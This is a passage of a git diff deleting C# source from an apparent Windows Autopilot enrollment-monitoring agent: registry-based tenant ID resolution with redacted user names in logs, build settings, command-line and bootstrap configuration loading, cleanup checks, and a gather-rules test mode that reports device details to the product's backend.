hit)."); - return fromJoinInfo; - } - - // Last synchronous probe: parse the MS-Organization-Access device cert. - // EntraDeviceCertHelper logs its own miss-reason warnings, so just record the attempt - // here and let a non-null result short-circuit the awaiter wait window. - diagnostics.MsOrgAccessCertProbed = true; - var fromCert = EntraDeviceCertHelper.TryGetTenantIdFromCert(logger); - if (fromCert != null) - { - var tenantIdString = fromCert.Value.ToString("D"); - logger?.Info($"TenantIdResolver: resolved TenantId={tenantIdString} from {SourceMsOrganizationAccessCert} (no registry source carried it yet)."); - return tenantIdString; - } - diagnostics.MsOrgAccessCertMissed = true; - - LogResolutionMiss(logger, diagnostics); - return null; - } - - private static RegistryKey OpenLocalMachine64() => - RegistryKey.OpenBaseKey(RegistryHive.LocalMachine, RegistryView.Registry64); - - private static string TryEnrollmentsRegistry(ResolverDiagnostics diag) - { - CollectEnrollmentSnapshots(diag); - - foreach (var e in diag.IntuneMdmEnrollments) - { - if (!string.IsNullOrEmpty(e.AadTenantId)) - return e.AadTenantId; - } - - return null; - } - - /// - /// Pass 2: walks the same Enrollments snapshot collected by pass 1 and returns the - /// first non-Type=6 sub-key carrying a non-empty AADTenantID. Targets the - /// Autopilot pre-provisioning / hybrid window where Type=6 sits at - /// EnrollmentState=1 with AADTenantID still missing while a Type=26 - /// AAD-Join entry already carries the TenantID. - /// - private static string TryEnrollmentsRegistryFallback(ResolverDiagnostics diag, out int? winningType, out string winningUpn) - { - winningType = null; - winningUpn = null; - - // CollectEnrollmentSnapshots already ran in pass 1 and populated diag.OtherEnrollmentsWithTenantId. - // No second registry walk needed. - foreach (var e in diag.OtherEnrollmentsWithTenantId) - { - if (!string.IsNullOrEmpty(e.AadTenantId)) - { - winningType = e.EnrollmentType; - winningUpn = e.Upn; - return e.AadTenantId; - } - } - - return null; - } - - private static void CollectEnrollmentSnapshots(ResolverDiagnostics diag) - { - if (diag.EnrollmentsCollected) return; - diag.EnrollmentsCollected = true; - - try - { - using (var hklm64 = OpenLocalMachine64()) - using (var enrollmentsKey = hklm64.OpenSubKey(EnrollmentsKeyPath)) - { - if (enrollmentsKey == null) - { - diag.EnrollmentsRootMissing = true; - return; - } - - foreach (var subKeyName in enrollmentsKey.GetSubKeyNames()) - { - using (var enrollmentKey = enrollmentsKey.OpenSubKey(subKeyName)) - { - if (enrollmentKey == null) continue; - - var enrollmentType = enrollmentKey.GetValue("EnrollmentType"); - int? typeValue = null; - if (enrollmentType != null) - { - try { typeValue = Convert.ToInt32(enrollmentType); } - catch { /* unparseable — record as null */ } - } - - // Sub-keys without EnrollmentType are well-known structural folders - // (Context, Ownership, Status, ValidNodePaths). Skip them silently — - // they never carry AADTenantID and only add log noise on miss. - if (typeValue == null) - { - diag.EnrollmentsStructuralCount++; - continue; - } - - var aadTenantId = enrollmentKey.GetValue("AADTenantID")?.ToString(); - var upn = enrollmentKey.GetValue("UPN")?.ToString(); - - if (typeValue == IntuneMdmEnrollmentType) - { - var enrollmentState = enrollmentKey.GetValue("EnrollmentState")?.ToString(); - diag.IntuneMdmEnrollments.Add(new IntuneMdmSnapshot - { - Guid = subKeyName, - EnrollmentState = enrollmentState, - AadTenantId = aadTenantId, - Upn = upn, - }); - } - else - { - diag.OtherEnrollmentTypeCount++; - if (!string.IsNullOrEmpty(aadTenantId)) - { - diag.OtherEnrollmentsWithTenantId.Add(new OtherEnrollmentSnapshot - { - Guid = subKeyName, - EnrollmentType = typeValue.Value, - AadTenantId = aadTenantId, - Upn = upn, - }); - } - } - } - } - } - } - catch (Exception ex) - { - diag.EnrollmentsProbeError = ex.GetType().Name + ": " + ex.Message; - } - } - - private static string TryCloudDomainJoinTenantInfo(ResolverDiagnostics diag) - { - try - { - using (var hklm64 = OpenLocalMachine64()) - using (var tenantInfoKey = hklm64.OpenSubKey(CloudDomainJoinTenantInfoPath)) - { - if (tenantInfoKey == null) - { - diag.TenantInfoRootMissing = true; - return null; - } - - var subKeys = tenantInfoKey.GetSubKeyNames(); - diag.TenantInfoSubKeys.AddRange(subKeys); - - foreach (var subKey in subKeys) - { - if (Guid.TryParse(subKey, out _)) - return subKey; - } - } - } - catch (Exception ex) - { - diag.TenantInfoProbeError = ex.GetType().Name + ": " + ex.Message; - } - - return null; - } - - private static string TryCloudDomainJoinJoinInfo(ResolverDiagnostics diag) - { - try - { - using (var hklm64 = OpenLocalMachine64()) - using (var joinInfoKey = hklm64.OpenSubKey(CloudDomainJoinJoinInfoPath)) - { - if (joinInfoKey == null) - { - diag.JoinInfoRootMissing = true; - return null; - } - - foreach (var thumbprint in joinInfoKey.GetSubKeyNames()) - { - using (var entry = joinInfoKey.OpenSubKey(thumbprint)) - { - if (entry == null) continue; - - var tenantId = entry.GetValue("TenantId")?.ToString(); - diag.JoinInfoEntries.Add(new JoinInfoSnapshot - { - Thumbprint = thumbprint, - HasTenantId = !string.IsNullOrEmpty(tenantId), - }); - - if (!string.IsNullOrEmpty(tenantId)) - return tenantId; - } - } - } - } - catch (Exception ex) - { - diag.JoinInfoProbeError = ex.GetType().Name + ": " + ex.Message; - } - - return null; - } - - private static void LogResolutionMiss(AgentLogger logger, ResolverDiagnostics diag) - { - if (logger == null) return; - - logger.Warning("TenantIdResolver: no TenantId resolvable from registry — device likely not yet AAD-joined / MDM-enrolled, or enrollment write hasn't completed."); - - // Enrollments root. - if (diag.EnrollmentsProbeError != null) - { - logger.Warning($"TenantIdResolver: Enrollments probe failed: {diag.EnrollmentsProbeError}"); - } - else if (diag.EnrollmentsRootMissing) - { - logger.Warning($"TenantIdResolver: HKLM\\{EnrollmentsKeyPath} not found (Registry64 view)."); - } - else - { - logger.Warning( - $"TenantIdResolver: HKLM\\{EnrollmentsKeyPath} (Registry64) — " + - $"Intune-MDM (Type=6): {diag.IntuneMdmEnrollments.Count}, " + - $"other enrollment types: {diag.OtherEnrollmentTypeCount}, " + - $"structural sub-keys: {diag.EnrollmentsStructuralCount}."); - - if (diag.IntuneMdmEnrollments.Count == 0) - { - logger.Warning("TenantIdResolver: no Type=6 enrollment present yet — MDM enrollment hasn't reached registry write phase."); - } - else - { - foreach (var e in diag.IntuneMdmEnrollments) - { - logger.Warning( - $" - Type=6 {e.Guid}: EnrollmentState={e.EnrollmentState ?? ""}, " + - $"AADTenantID={(string.IsNullOrEmpty(e.AadTenantId) ? "" : "")}, " + - $"UPN={FormatUpnForLog(e.Upn)}"); - } - } - - if (diag.OtherEnrollmentsWithTenantId.Count > 0) - { - logger.Warning( - $"TenantIdResolver: {diag.OtherEnrollmentsWithTenantId.Count} non-Type-6 enrollment(s) carried a non-empty AADTenantID but pass-2 still returned null (should not happen — investigate):"); - foreach (var o in diag.OtherEnrollmentsWithTenantId) - { - logger.Warning( - $" - Type={o.EnrollmentType} {o.Guid}: AADTenantID=, UPN={FormatUpnForLog(o.Upn)}"); - } - } - } - - // CloudDomainJoin\TenantInfo. - if (diag.TenantInfoProbeError != null) - logger.Warning($"TenantIdResolver: TenantInfo probe failed: {diag.TenantInfoProbeError}"); - else if (diag.TenantInfoRootMissing) - logger.Warning($"TenantIdResolver: HKLM\\{CloudDomainJoinTenantInfoPath} not found (device not AAD-joined yet)."); - else if (diag.TenantInfoSubKeys.Count == 0) - logger.Warning($"TenantIdResolver: HKLM\\{CloudDomainJoinTenantInfoPath} present but no sub-keys."); - else - logger.Warning($"TenantIdResolver: HKLM\\{CloudDomainJoinTenantInfoPath} sub-keys: [{string.Join(", ", diag.TenantInfoSubKeys)}] — none parsed as a GUID."); - - // CloudDomainJoin\JoinInfo. - if (diag.JoinInfoProbeError != null) - logger.Warning($"TenantIdResolver: JoinInfo probe failed: {diag.JoinInfoProbeError}"); - else if (diag.JoinInfoRootMissing) - logger.Warning($"TenantIdResolver: HKLM\\{CloudDomainJoinJoinInfoPath} not found."); - else if (diag.JoinInfoEntries.Count == 0) - logger.Warning($"TenantIdResolver: HKLM\\{CloudDomainJoinJoinInfoPath} present but no thumbprint sub-keys."); - else - { - logger.Warning($"TenantIdResolver: HKLM\\{CloudDomainJoinJoinInfoPath} carries {diag.JoinInfoEntries.Count} entry/entries but none had a non-empty TenantId value:"); - foreach (var j in diag.JoinInfoEntries) - logger.Warning($" - thumbprint={j.Thumbprint}, TenantId={(j.HasTenantId ? "" : "")}"); - } - - // MS-Organization-Access cert probe (EntraDeviceCertHelper logs its own miss reason — this - // is just a breadcrumb that the resolver did try the cert path before giving up). - if (diag.MsOrgAccessCertProbed && diag.MsOrgAccessCertMissed) - logger.Warning($"TenantIdResolver: {SourceMsOrganizationAccessCert} probe also missed (see EntraDeviceCertHelper warning above for the specific reason)."); - } - - /// - /// The two well-known placeholder accounts written into enrollment registry sub-keys - /// during Autopilot pre-provisioning. Both are generated by Windows from the - /// MakeFakeUserEmail code path and are NOT real users — surfacing them in the - /// log is safe and useful for diagnostics. Real user UPNs are PII and must NOT be - /// logged. - /// - public enum PlaceholderUpnKind - { - /// Not a known placeholder — could be a real user UPN. - None = 0, - /// fooUser@<tenant>.onmicrosoft.com — used for the Intune-side - /// (MDM) enrollment leg during Autopilot pre-provisioning. - FooUser = 1, - /// autopilot@<tenant>.onmicrosoft.com — used for the Entra - /// (AAD-Join) leg during Autopilot pre-provisioning. - Autopilot = 2, - } - - /// - /// Classifies a UPN read from an enrollment registry sub-key as either a known - /// Autopilot pre-provisioning placeholder or "could be a real user". Match is - /// prefix-based and case-insensitive (Microsoft documents both fooUser@ and - /// foouser@ casings). - /// - public static PlaceholderUpnKind ClassifyPlaceholderUpn(string upn) - { - if (string.IsNullOrEmpty(upn)) return PlaceholderUpnKind.None; - if (upn.StartsWith("fooUser@", StringComparison.OrdinalIgnoreCase)) return PlaceholderUpnKind.FooUser; - if (upn.StartsWith("autopilot@", StringComparison.OrdinalIgnoreCase)) return PlaceholderUpnKind.Autopilot; - return PlaceholderUpnKind.None; - } - - /// - /// Renders a UPN for the agent log. Known placeholders are logged in full plus an - /// annotation. Anything else is treated as a real user UPN and redacted to - /// <redacted_real_user_upn> — even partial UPN exposure is PII. - /// - private static string FormatUpnForLog(string upn) - { - if (string.IsNullOrEmpty(upn)) return ""; - switch (ClassifyPlaceholderUpn(upn)) - { - case PlaceholderUpnKind.FooUser: - return upn + " "; - case PlaceholderUpnKind.Autopilot: - return upn + " "; - default: - return ""; - } - } - - private sealed class ResolverDiagnostics - { - public bool EnrollmentsCollected; - public bool EnrollmentsRootMissing; - public string EnrollmentsProbeError; - public readonly List IntuneMdmEnrollments = new List(); - public readonly List OtherEnrollmentsWithTenantId = new List(); - public int OtherEnrollmentTypeCount; - public int EnrollmentsStructuralCount; - - public bool TenantInfoRootMissing; - public string TenantInfoProbeError; - public readonly List TenantInfoSubKeys = new List(); - - public bool JoinInfoRootMissing; - public string JoinInfoProbeError; - public readonly List JoinInfoEntries = new List(); - - public bool MsOrgAccessCertProbed; - public bool MsOrgAccessCertMissed; - } - - private struct IntuneMdmSnapshot - { - public string Guid; - public string EnrollmentState; - public string AadTenantId; - public string Upn; - } - - private struct OtherEnrollmentSnapshot - { - public string Guid; - public int EnrollmentType; - public string AadTenantId; - public string Upn; - } - - private struct JoinInfoSnapshot - { - public string Thumbprint; - public bool HasTenantId; - } - } -} diff --git a/src/Agent/AutopilotMonitor.Agent/AutopilotMonitor.Agent.csproj b/src/Agent/AutopilotMonitor.Agent/AutopilotMonitor.Agent.csproj deleted file mode 100644 index 3c82da1e..00000000 --- a/src/Agent/AutopilotMonitor.Agent/AutopilotMonitor.Agent.csproj +++ /dev/null @@ -1,70 +0,0 @@ - - - - Exe - net48 - latest - AnyCPU - - - - 1.0 - - - $(MSBuildProjectDirectory)\buildcounter.txt - - - $(BUILD_NUMBER) - - - <_CounterFromFile Condition="'$(BUILD_NUMBER)' == '' and Exists('$(BuildCounterFile)')">$([System.IO.File]::ReadAllText('$(BuildCounterFile)').Trim()) - <_CounterFromFile Condition="'$(BUILD_NUMBER)' == '' and !Exists('$(BuildCounterFile)')">0 - $([MSBuild]::Add($(_CounterFromFile), 1)) - - - $(VersionPrefix).$(BuildNumber) - $(VersionPrefix).$(BuildNumber) - $(VersionPrefix).$(BuildNumber) - $(Version) - - - true - - - - - - - - - - - - - - - - - - - - - - - - - - - - diff --git a/src/Agent/AutopilotMonitor.Agent/Program.Configuration.cs b/src/Agent/AutopilotMonitor.Agent/Program.Configuration.cs deleted file mode 100644 index 39bf82f9..00000000 --- a/src/Agent/AutopilotMonitor.Agent/Program.Configuration.cs +++ /dev/null @@ -1,397 +0,0 @@ -using System; -using System.IO; -using System.Linq; -using System.Reflection; -using AutopilotMonitor.Agent.Core.Configuration; -using AutopilotMonitor.Agent.Core.Logging; -using AutopilotMonitor.Agent.Core.Monitoring.Runtime; -using AutopilotMonitor.Agent.Core.Security; -using AutopilotMonitor.Shared; -using Microsoft.Win32; -using AutopilotMonitor.Agent.Core.Monitoring.Enrollment; -using AutopilotMonitor.Agent.Core.Monitoring.Enrollment.Flows; -using AutopilotMonitor.Agent.Core.Monitoring.Enrollment.Ime; -using AutopilotMonitor.Agent.Core.Monitoring.Enrollment.SystemSignals; -using AutopilotMonitor.Agent.Core.Monitoring.Enrollment.Completion; - -namespace AutopilotMonitor.Agent -{ - partial class Program - { - static AgentConfiguration LoadConfiguration(string[] args = null) - { - var noCleanup = args?.Contains("--no-cleanup") ?? false; - var rebootOnComplete = args?.Contains("--reboot-on-complete") ?? false; - var disableGeoLoc = args?.Contains("--disable-geolocation") ?? false; - var newSession = args?.Contains("--new-session") ?? false; - var keepLogFile = args?.Contains("--keep-logfile") ?? false; - var awaitEnrollment = args?.Contains("--await-enrollment") ?? false; - - string apiBaseUrlOverride = null; - string imeLogPathOverride = null; - string imeMatchLogPath = null; - string replayLogDir = null; - string bootstrapToken = null; - double replaySpeedFactor = 50; - int awaitEnrollmentTimeoutMinutes = 480; - - if (args != null) - { - // Local backend URL override for debugging/testing. - // Supported aliases: - // --api-url https://... - // --backend-api https://... - apiBaseUrlOverride = GetArgValue(args, "--api-url", "--backend-api"); - - var imeLogPathIndex = Array.IndexOf(args, "--ime-log-path"); - if (imeLogPathIndex >= 0 && imeLogPathIndex + 1 < args.Length) - imeLogPathOverride = args[imeLogPathIndex + 1]; - - var imeMatchLogIndex = Array.IndexOf(args, "--ime-match-log"); - if (imeMatchLogIndex >= 0 && imeMatchLogIndex + 1 < args.Length) - imeMatchLogPath = args[imeMatchLogIndex + 1]; - - var replayLogDirIndex = Array.IndexOf(args, "--replay-log-dir"); - if (replayLogDirIndex >= 0 && replayLogDirIndex + 1 < args.Length) - replayLogDir = args[replayLogDirIndex + 1]; - - var replaySpeedIndex = Array.IndexOf(args, "--replay-speed-factor"); - if (replaySpeedIndex >= 0 && replaySpeedIndex + 1 < args.Length) - if (double.TryParse(args[replaySpeedIndex + 1], out var speed)) - replaySpeedFactor = speed; - - var bootstrapTokenIndex = Array.IndexOf(args, "--bootstrap-token"); - if (bootstrapTokenIndex >= 0 && bootstrapTokenIndex + 1 < args.Length) - bootstrapToken = args[bootstrapTokenIndex + 1]; - - var awaitTimeoutIndex = Array.IndexOf(args, "--await-enrollment-timeout"); - if (awaitTimeoutIndex >= 0 && awaitTimeoutIndex + 1 < args.Length) - if (int.TryParse(args[awaitTimeoutIndex + 1], out var awaitTimeout)) - awaitEnrollmentTimeoutMinutes = awaitTimeout; - } - - // Defaults - string apiBaseUrl = Constants.ApiBaseUrl; - int uploadIntervalSeconds = Constants.DefaultUploadIntervalSeconds; - bool selfDestructOnComplete = false; - bool rebootOnCompleteConfig = false; - bool enableGeoLocationConfig = true; - bool useClientCertAuthConfig = true; - - // CLI override wins over built-in default - if (!string.IsNullOrWhiteSpace(apiBaseUrlOverride)) - apiBaseUrl = apiBaseUrlOverride; - - if (noCleanup) - { - selfDestructOnComplete = false; - } - - // Determine TenantId from registry (or bootstrap-config.json fallback below). - // No logger available at config-load time — the bail-site below re-probes with - // a logger so the diagnostic block lands in the agent log on a real miss. - string tenantId = TenantIdResolver.Resolve(logger: null); - - var dataDirectory = Environment.ExpandEnvironmentVariables(Constants.AgentDataDirectory); - var sessionPersist = new SessionPersistence(dataDirectory); - - if (newSession) - sessionPersist.DeleteSession(); - - var sessionId = sessionPersist.LoadOrCreateSessionId(); - - // Bootstrap config: if no --bootstrap-token CLI arg, check for persisted config file. - // The OOBE bootstrap script calls --install --bootstrap-token {TOKEN} --tenant-id {TENANTID}. - // RunInstallMode persists these to bootstrap-config.json so the Scheduled Task picks them up - // on restart (the task command line has no args — just the exe path). - var bootstrapConfigPath = Path.Combine(dataDirectory, "bootstrap-config.json"); - if (string.IsNullOrEmpty(bootstrapToken) && File.Exists(bootstrapConfigPath)) - { - try - { - var json = File.ReadAllText(bootstrapConfigPath); - var bootstrapConfig = Newtonsoft.Json.JsonConvert.DeserializeObject(json); - if (bootstrapConfig != null) - { - bootstrapToken = bootstrapConfig.BootstrapToken; - if (string.IsNullOrEmpty(tenantId) && !string.IsNullOrEmpty(bootstrapConfig.TenantId)) - { - tenantId = bootstrapConfig.TenantId; - } - } - } - catch { /* ignore corrupt file */ } - } - - // Await-enrollment config: if no --await-enrollment CLI arg, check for persisted config file. - // RunInstallMode persists await-enrollment.json so the Scheduled Task picks it up on restart. - var awaitConfigPath = Path.Combine(dataDirectory, "await-enrollment.json"); - if (!awaitEnrollment && File.Exists(awaitConfigPath)) - { - try - { - var json = File.ReadAllText(awaitConfigPath); - var awaitConfig = Newtonsoft.Json.JsonConvert.DeserializeObject(json); - if (awaitConfig != null) - { - awaitEnrollment = true; - awaitEnrollmentTimeoutMinutes = awaitConfig.TimeoutMinutes; - } - } - catch { /* ignore corrupt file */ } - } - - var useBootstrapToken = !string.IsNullOrEmpty(bootstrapToken); - - return new AgentConfiguration - { - ApiBaseUrl = apiBaseUrl, - SessionId = sessionId, - TenantId = tenantId, - SpoolDirectory = Environment.ExpandEnvironmentVariables(Constants.SpoolDirectory), - LogDirectory = Environment.ExpandEnvironmentVariables(Constants.LogDirectory), - UploadIntervalSeconds = uploadIntervalSeconds, - MaxBatchSize = Constants.MaxBatchSize, - LogLevel = AgentLogLevel.Info, - UseClientCertAuth = !useBootstrapToken && useClientCertAuthConfig, - SelfDestructOnComplete = selfDestructOnComplete, - RebootOnComplete = rebootOnComplete || rebootOnCompleteConfig, - EnableGeoLocation = !disableGeoLoc && enableGeoLocationConfig, - ImeLogPathOverride = imeLogPathOverride, - ImeMatchLogPath = imeMatchLogPath, - ReplayLogDir = replayLogDir, - ReplaySpeedFactor = replaySpeedFactor, - KeepLogFile = keepLogFile, - BootstrapToken = bootstrapToken, - UseBootstrapTokenAuth = useBootstrapToken, - AwaitEnrollment = awaitEnrollment, - AwaitEnrollmentTimeoutMinutes = awaitEnrollmentTimeoutMinutes, - CommandLineArgs = FormatArgsForLog(args) - }; - } - - private static string GetArgValue(string[] args, params string[] names) - { - if (args == null || names == null || names.Length == 0) - return null; - - for (int i = 0; i < args.Length - 1; i++) - { - foreach (var name in names) - { - if (string.Equals(args[i], name, StringComparison.OrdinalIgnoreCase)) - { - return args[i + 1]; - } - } - } - - return null; - } - - /// - /// Checks for enrollment complete marker and handles cleanup retry if needed. - /// Returns true if marker was found and agent should exit. - /// - static bool CheckEnrollmentCompleteMarker(AgentConfiguration config, AgentLogger logger, bool consoleMode) - { - // Registry guard: if "Deployed" key exists but no active session file, - // this is a ghost restart after previous self-destruct. Exit immediately. - try - { - using (var regKey = Registry.LocalMachine.OpenSubKey(@"SOFTWARE\AutopilotMonitor")) - { - var deployed = regKey?.GetValue("Deployed") as string; - if (!string.IsNullOrEmpty(deployed)) - { - var dataDir = Environment.ExpandEnvironmentVariables(Constants.AgentDataDirectory); - var sessionPersistence = new SessionPersistence(dataDir); - - if (!sessionPersistence.SessionExists()) - { - logger.Info($"Agent was previously deployed ({deployed}) but no active session — ghost restart detected"); - - if (config.SelfDestructOnComplete) - { - logger.Info("Attempting cleanup retry (scheduled task may still be registered)..."); - try - { - using (var service = new MonitoringService(config, logger, GetAgentVersion())) - { - service.TriggerCleanup(); - } - logger.Info("Cleanup retry completed."); - } - catch (Exception cleanupEx) - { - logger.Warning($"Cleanup retry failed: {cleanupEx.Message}"); - } - } - - if (consoleMode) - Console.WriteLine("Agent was previously deployed but no active session. Exiting."); - - return true; - } - - // session.id exists → normal restart (Part 2, crash recovery) → continue - logger.Info($"Deployment marker found ({deployed}) with active session — continuing normally"); - } - } - } - catch (Exception regEx) - { - logger.Warning($"Registry deployment marker check failed: {regEx.Message}"); - } - - // File-based enrollment-complete marker (original guard) - var stateDirectory = Environment.ExpandEnvironmentVariables(Constants.StateDirectory); - var markerPath = Path.Combine(stateDirectory, "enrollment-complete.marker"); - - if (!File.Exists(markerPath)) - { - // No marker - proceed with normal enrollment - return false; - } - - logger.Info("Enrollment complete marker detected from previous session"); - - if (!config.SelfDestructOnComplete) - { - // No cleanup configured - just exit - logger.Info("Enrollment already completed (SelfDestructOnComplete is disabled). Agent will exit."); - if (consoleMode) - Console.WriteLine("Enrollment already completed (no cleanup configured). Agent will exit."); - return true; - } - - // Self-destruct is configured - attempt it now in case scheduled task failed - logger.Info("Enrollment already completed. Attempting self-destruct retry (scheduled task may have failed)..."); - if (consoleMode) - Console.WriteLine("Enrollment already completed. Attempting cleanup retry..."); - - try - { - using (var service = new MonitoringService(config, logger, GetAgentVersion())) - { - service.TriggerCleanup(); - } - - logger.Info("Cleanup retry completed. Agent will exit."); - if (consoleMode) - Console.WriteLine("Cleanup retry completed. Agent will exit."); - } - catch (Exception ex) - { - logger.Warning($"Cleanup retry failed: {ex.Message}"); - if (consoleMode) - Console.WriteLine($"WARNING: Cleanup retry failed: {ex.Message}"); - } - - return true; - } - - /// - /// Emergency break: checks if the current session has been alive longer than the absolute maximum. - /// Prevents zombie agents that stay on the device forever due to logic errors preventing - /// normal enrollment completion. Respects WhiteGlove scenarios (skips check during resume). - /// Returns true if emergency break triggered and agent should exit. - /// - static bool CheckSessionAgeEmergencyBreak(AgentConfiguration config, AgentLogger logger, bool consoleMode) - { - try - { - var dataDir = Environment.ExpandEnvironmentVariables(Constants.AgentDataDirectory); - var persistence = new SessionPersistence(dataDir); - - // Skip check if WhiteGlove-paused (device powered off between Part 1 and Part 2). - // The timer will be reset when MonitoringService.Start() processes the WhiteGlove resume. - if (persistence.IsWhiteGloveResume()) - { - logger.Info("Emergency break: WhiteGlove resume detected — skipping session age check"); - return false; - } - - var sessionCreatedAt = persistence.LoadSessionCreatedAt(); - if (sessionCreatedAt == null) - { - // Older agent without session.created — initialize the file now. - // The emergency break will only trigger on subsequent restarts. - if (persistence.SessionExists()) - { - persistence.SaveSessionCreatedAt(DateTime.UtcNow); - logger.Info("Emergency break: Initialized session.created for existing session"); - } - return false; - } - - var sessionAgeHours = (DateTime.UtcNow - sessionCreatedAt.Value).TotalHours; - var maxAgeHours = config.AbsoluteMaxSessionHours; - - if (sessionAgeHours <= maxAgeHours) - { - logger.Info($"Emergency break: Session age {sessionAgeHours:F1}h within limit ({maxAgeHours}h)"); - return false; - } - - // Session too old — emergency self-destruct - logger.Warning($"EMERGENCY BREAK: Session age {sessionAgeHours:F1}h exceeds maximum {maxAgeHours}h — forcing cleanup"); - - if (consoleMode) - Console.WriteLine($"EMERGENCY: Session is {sessionAgeHours:F1}h old (max: {maxAgeHours}h). Forcing cleanup."); - - // Write enrollment-complete marker so next start exits cleanly - var stateDir = Environment.ExpandEnvironmentVariables(Constants.StateDirectory); - Directory.CreateDirectory(stateDir); - var markerPath = Path.Combine(stateDir, "enrollment-complete.marker"); - File.WriteAllText(markerPath, $"Emergency break at {DateTime.UtcNow:O} (session age: {sessionAgeHours:F1}h)"); - - if (config.SelfDestructOnComplete) - { - using (var service = new MonitoringService(config, logger, GetAgentVersion())) - { - service.TriggerCleanup(); - } - } - - // Clean up session files - persistence.DeleteSession(); - - logger.Info("Emergency break: Cleanup completed. Agent will exit."); - return true; - } - catch (Exception ex) - { - logger.Error($"Emergency break check failed: {ex.Message}", ex); - return false; // Don't block startup on check failure - } - } - - static string GetAgentVersion() - { - try - { - var assembly = Assembly.GetExecutingAssembly(); - var informationalVersion = assembly - .GetCustomAttribute() - ?.InformationalVersion; - - if (!string.IsNullOrWhiteSpace(informationalVersion)) - return informationalVersion; - - var fileVersion = assembly - .GetCustomAttribute() - ?.Version; - - if (!string.IsNullOrWhiteSpace(fileVersion)) - return fileVersion; - - return assembly.GetName().Version?.ToString() ?? "unknown"; - } - catch - { - return "unknown"; - } - } - } -} diff --git a/src/Agent/AutopilotMonitor.Agent/Program.GatherRulesMode.cs b/src/Agent/AutopilotMonitor.Agent/Program.GatherRulesMode.cs deleted file mode 100644 index 1121430f..00000000 --- a/src/Agent/AutopilotMonitor.Agent/Program.GatherRulesMode.cs +++ /dev/null @@ -1,279 +0,0 @@ -using System; -using System.Collections.Generic; -using System.Linq; -using System.Threading; -using AutopilotMonitor.Agent.Core.Logging; -using AutopilotMonitor.Agent.Core.Configuration; -using AutopilotMonitor.Agent.Core.Monitoring.Runtime; -using AutopilotMonitor.Agent.Core.Monitoring.Telemetry.DeviceInfo; -using AutopilotMonitor.Agent.Core.Monitoring.Telemetry.Gather; -using AutopilotMonitor.Agent.Core.Monitoring.Transport; -using AutopilotMonitor.Shared; -using AutopilotMonitor.Shared.Models; -using AutopilotMonitor.Agent.Core.Monitoring.Enrollment; -using AutopilotMonitor.Agent.Core.Monitoring.Enrollment.Flows; -using AutopilotMonitor.Agent.Core.Monitoring.Enrollment.Ime; -using AutopilotMonitor.Agent.Core.Monitoring.Enrollment.SystemSignals; -using AutopilotMonitor.Agent.Core.Monitoring.Enrollment.Completion; - -namespace AutopilotMonitor.Agent -{ - partial class Program - { - /// - /// Fetches the latest remote config, executes all startup gather rules against the - /// current session (or a freshly registered one if no session.id exists), uploads the - /// collected events, then exits. Intended for manual testing and debugging. - /// - static void RunGatherRulesMode(string[] args) - { - var consoleMode = args.Contains("--console") || Environment.UserInteractive; - - if (consoleMode) - { - Console.WriteLine("Autopilot Monitor Agent — Run Gather Rules"); - Console.WriteLine("=========================================="); - Console.WriteLine(); - } - - try - { - var config = LoadConfiguration(args); - var logDir = Environment.ExpandEnvironmentVariables(config.LogDirectory); - var logger = new AgentLogger(logDir, config.LogLevel); - var agentVersion = GetAgentVersion(); - - // Always use a fresh session so gather-rules runs appear as a - // distinct portal entry and never pollute an active enrollment session. - config.SessionId = Guid.NewGuid().ToString(); - - logger.Info("======================= --run-gather-rules mode ======================="); - - if (consoleMode) - { - Console.WriteLine($"Session ID: {config.SessionId} (new, ephemeral)"); - Console.WriteLine($"Tenant ID: {config.TenantId}"); - Console.WriteLine($"API URL: {config.ApiBaseUrl}"); - Console.WriteLine(); - } - - using (var apiClient = new BackendApiClient(config.ApiBaseUrl, config, logger, agentVersion)) - using (var remoteConfigService = new RemoteConfigService(apiClient, config.TenantId, logger)) - { - // Step 1: Fetch remote config (gather rules + settings) - logger.Info("Fetching remote configuration..."); - if (consoleMode) Console.WriteLine("Fetching remote configuration..."); - - try - { - remoteConfigService.FetchConfigAsync().Wait(TimeSpan.FromSeconds(15)); - logger.Info("Remote config fetched successfully"); - if (consoleMode) Console.WriteLine("Remote config fetched."); - } - catch (Exception ex) - { - logger.Warning($"Failed to fetch remote config (continuing): {ex.Message}"); - if (consoleMode) Console.WriteLine($"WARNING: Remote config fetch failed: {ex.Message}"); - } - - var remoteConfig = remoteConfigService.CurrentConfig; - var rules = remoteConfig?.GatherRules; - - var startupRules = rules? - .Where(r => r.Enabled && r.Trigger == "startup") - .ToList() - ?? new List(); - - if (startupRules.Count == 0) - { - logger.Info("No enabled startup gather rules found — nothing to execute"); - if (consoleMode) Console.WriteLine("No startup gather rules found. Nothing to execute."); - return; - } - - // Step 2: Register session (or re-use existing — backend handles both) - logger.Info("Registering session with backend..."); - if (consoleMode) Console.WriteLine("Registering session..."); - - try - { - var registration = new SessionRegistration - { - SessionId = config.SessionId, - TenantId = config.TenantId, - SerialNumber = DeviceInfoProvider.GetSerialNumber(), - Manufacturer = DeviceInfoProvider.GetManufacturer(), - Model = DeviceInfoProvider.GetModel(), - DeviceName = Environment.MachineName, - OsName = DeviceInfoProvider.GetOsName(), - OsBuild = DeviceInfoProvider.GetOsBuild(), - OsDisplayVersion = DeviceInfoProvider.GetOsDisplayVersion(), - OsEdition = DeviceInfoProvider.GetOsEdition(), - OsLanguage = System.Globalization.CultureInfo.CurrentCulture.Name, - StartedAt = DateTime.UtcNow, - AgentVersion = agentVersion, - EnrollmentType = "gather_rules" - }; - - var regResponse = apiClient.RegisterSessionAsync(registration).Result; - if (regResponse.Success) - logger.Info($"Session registered: {regResponse.SessionId}"); - else - logger.Warning($"Session registration: {regResponse.Message}"); - } - catch (Exception ex) - { - logger.Warning($"Session registration failed (continuing): {ex.Message}"); - } - - // Step 3: Collect events in-memory (avoids conflicting with a running agent's spool) - var collectedEvents = new List(); - var evtLock = new object(); - long sequence = 0; - - Action emitEvent = evt => - { - evt.Sequence = Interlocked.Increment(ref sequence); - lock (evtLock) - collectedEvents.Add(evt); - logger.Debug($"Gather event: {evt.EventType} — {evt.Message}"); - if (consoleMode) - Console.WriteLine($" [{evt.Timestamp:HH:mm:ss}] [{evt.EventType}] {evt.Message}"); - }; - - // Step 4: Execute startup gather rules - logger.Info($"Executing {startupRules.Count} startup gather rule(s)..."); - if (consoleMode) - Console.WriteLine($"Executing {startupRules.Count} startup gather rule(s)..."); - - emitEvent(new EnrollmentEvent - { - SessionId = config.SessionId, - TenantId = config.TenantId, - Timestamp = DateTime.UtcNow, - EventType = "gather_rules_collection_started", - Severity = EventSeverity.Info, - Source = "Agent", - Phase = EnrollmentPhase.Start, - Message = $"Gather rules collection started 